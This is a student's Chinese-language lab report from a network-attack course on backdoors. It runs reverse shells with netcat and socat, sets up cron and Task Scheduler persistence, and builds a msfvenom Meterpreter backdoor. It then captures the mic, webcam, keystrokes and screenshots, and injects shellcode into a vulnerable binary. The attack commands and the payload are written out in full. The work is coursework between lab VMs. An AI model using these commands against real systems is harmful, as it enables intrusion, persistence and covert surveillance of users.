网络对抗技术Exp2 后门原理与实践

一、实验基础

1 后门概念

后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。

2 常用后门工具

2.1 NC和Netcat

Netcat(简称nc)是一款强大的命令行网络工具,用来在两台机器之间建立TCP/UDP连接,并通过标准的输入输出进行数据的读写。安全界称之为瑞士军刀。

nc的基本功能如下:

  • telnet / 获取系统 banner 信息
  • 传输文本信息
  • 传输文件和目录
  • 加密传输文件
  • 端口扫描
  • 远程控制 / 正方向 shell
  • 流媒体服务器
  • 远程克隆硬盘

2.2 SoCat

Socat是linux下的一个多功能的网络工具,名字来由是「Socket CAT」。其功能与有瑞士军刀之称的Netcat类似,可以看做是Netcat的加强版。
Socat的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。


二、实验目标

1、使用netcat获取主机操作Shell,cron启动。
2、使用socat获取主机操作Shell,任务计划启动。
3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
5、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

三、实验过程

1 使用netcat获取主机操作Shell,cron启动

1.1 windows获取linux的shell

1.1.1 查看windows的ip地址ifconfig

1.1.2 在ncat文件夹目录下打开监听,端口选择学号后四位.\ncat.exe -l -p 1313

1.1.3 linux反弹连接winnc 172.20.10.3 1313 -e /bin/sh

1.1.4 windows获得kali的shell,使用linux指令验证,成功获取到linux的shell


1.2 linux获取windows的shell

1.2.1 查看kali的ip地址ifconfig

1.2.2 在kali中开启监听,端口号为学号后四位nc -l -p 1313

1.2.3 windows反弹连接linux。这里首先在windows下进入ncat所在的文件夹,ip的地址为Linux的地址,建议关闭杀毒软件后再输入命令行进行操作。.\ncat.exe -e cmd.exe 192.168.112.128 1313

1.2.4 在linux下看到windows的命令提示,使用命令验证,成功获取到windows的shell


1.3 在虚拟机中启动cron并在主机监听

1.3.1 先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)

1.3.2 在最后一行添加13 * * * * /bin/netcat 172.20.10.3 1313 -e /bin/sh,设置自启动时间,在每个小时的第13分钟反向连接Windows主机的1313端口

1.3.3 等到设置好的时间节点在windows端打开监听.\ncat.exe -l -p 1313

1.3.4 在windows端成功获取linux的shell


2 使用socat获取主机操作Shell, 任务计划启动

2.1 windows获取linux的shell

2.1.1 kali开放1313端口socat tcp-listen:1313 system:bash,pty,stderr

2.1.2 windows连接kali虚拟机,ip地址为linux的地址.\socat.exe - tcp:192.168.112.128:1313。成功获取终端并用命令行验证。


2.2 linux获取windows的shell

2.2.1 windows开放1313端口.\socat.exe tcp-listen:1313 exec:cmd,pty,stderr

2.2.2 linux连接Windows获取终端socat - tcp:172.20.10.3:1313,并验证。


2.3 windows下任务计划启动

2.3.1 在windows中按win+R,再输入compmgmt.msc打开计算机管理进行操作

2.3.2 在系统工具中的任务计划程序中创建任务

2.3.3 进行触发器的相关设置

2.3.4 新建操作,将操作设置为启动程序socat.exe,并添加参数tcp-listen:1313 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1313,同时把cmd.exe的stderr重定向

2.3.5 设置好后锁定工作台。解锁后直接弹出窗口

2.3.6 在linux中输入命令socat - tcp:172.20.10.3:1313,成功获取windows的shell并验证。


3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

3.1 在linux上生成后门可执行程序20191313_backdoor.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.128 LPORT=1313 -f exe > 20191313_backdoor.exe

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP(这里是kali的ip)
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

3.2 在windows上打开监听.\ncat.exe -l 1313 > 20191313_backdoor.exe


3.3 在linux上将生成的20191313_backdoor.exe后门程序传过去nc 172.20.10.3 1313 < 20191313_backdoor.exe

前后对比,传送成功



3.4 在linux上使用指令进入msf控制台msfconsole


3.5 对msf控制台进行配置,依次输入以下命令

use exploit/multi/handler		            #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp	    #使用和生成后门程序时相同的payload
set LHOST 192.168.112.128			    #kali的ip,和生成后门程序时指定ip相同
set LPORT 1313
exploit         ##进行触发


3.6 windows下进行操作,打开后门可执行文件(可以用管理员身份运行),获取shell终端,使用dir验证,显示成功


4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1 获取目标主机音频record_mic

4.2 获取目标主机摄像头webcam_snap

4.3 获取击键记录

keyscan_start//开始记录
keyscan_dump//读取

4.4 截取主机屏幕screenshot


5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接shell

5.1 使用msfvenom生成shellcodemsfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.112.128 LPORT=1313 -f c


5.2 进入MSF控制台,进行监听

use exploit/multi/handler		            #使用监听模块,设置payload
set payload linux/x86/shell/reverse_nonx_tcp	    #使用和生成后门程序时相同的payload
set LHOST 192.168.112.128			    #kali的ip,和生成后门程序时指定ip相同
set LPORT 1313
exploit         ##进行触发


5.3 用如下代码生成input

perl -e 'print "A" x 32;print "\x10\xd2\xff\xff";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x90\x97\x66\x68\x04\xb6\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1 "'> input


5.4 在另一终端中将运行pwn20191313执行(cat input;cat) | ./pwn20191313,执行前需对堆栈进行设置。

execstack -s pwn20191313    //设置堆栈可执行
execstack -q pwn20191313    //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

5.5 可看到msf中获取权限,成功获得shell并验证


6 基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 有时在网上下载一些软件、游戏时,不是在官方网站下载,并且是以压缩包形式下载。下载好的压缩包内解压后运行,会有许多可执行文件,并且显示安装需要权限。带有后门的程序常常混杂在其中,难以发现。当我们安装这个软件时后门也进入到了我们系统。
  • 使用陌生的U盘接入自己的电脑,可能导致后门进入到系统中。
  • 随意点开邮箱的陌生邮件(钓鱼邮件),可能导致后门进入到系统中。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • linux通过修改linux的cron程序和注入shellcode开启后门
  • windows通过木马启动后门

(3)Meterpreter有哪些给你映像深刻的功能?

  • 通过后门程序对用户进行截屏、开启摄像头、进行录音等等。

(4)如何发现自己有系统有没有被安装后门?

  • 使用杀毒软件和安全电脑管家,对系统定期查杀和清理。使用电脑管家检查系统的开机启动项,关闭无用或不正常的自启动项。

7 总结

在本次实验中,我对后门的基本原理有了更加深入的认识和了解,并且通过实践学会使用netcat、socat、cron、Meterpreter等常用的后门软件来获取主机的相应权限,体验了“黑客”的感觉。
通过本次实验,我感触很深,对网络安全的重要性有了切身的体会。实验中的后门是相对简单,当打开windows防火墙和安全管家时会将其识别并删除,让我意识到了防火墙的重要性。而黑客设计的后门程序往往不会这样轻易就被发现,一旦我们的电脑被植入这些后门程序,个人隐私就会被泄露,在平时一定要养成良好的使用计算机的习惯,自己电脑一定要及时更新系统、安装补丁,定期进行查杀,不要下载、使用盗版软件。

posted @ 2022-03-31 21:52  djx20191313  阅读(343)  评论(0编辑  收藏  举报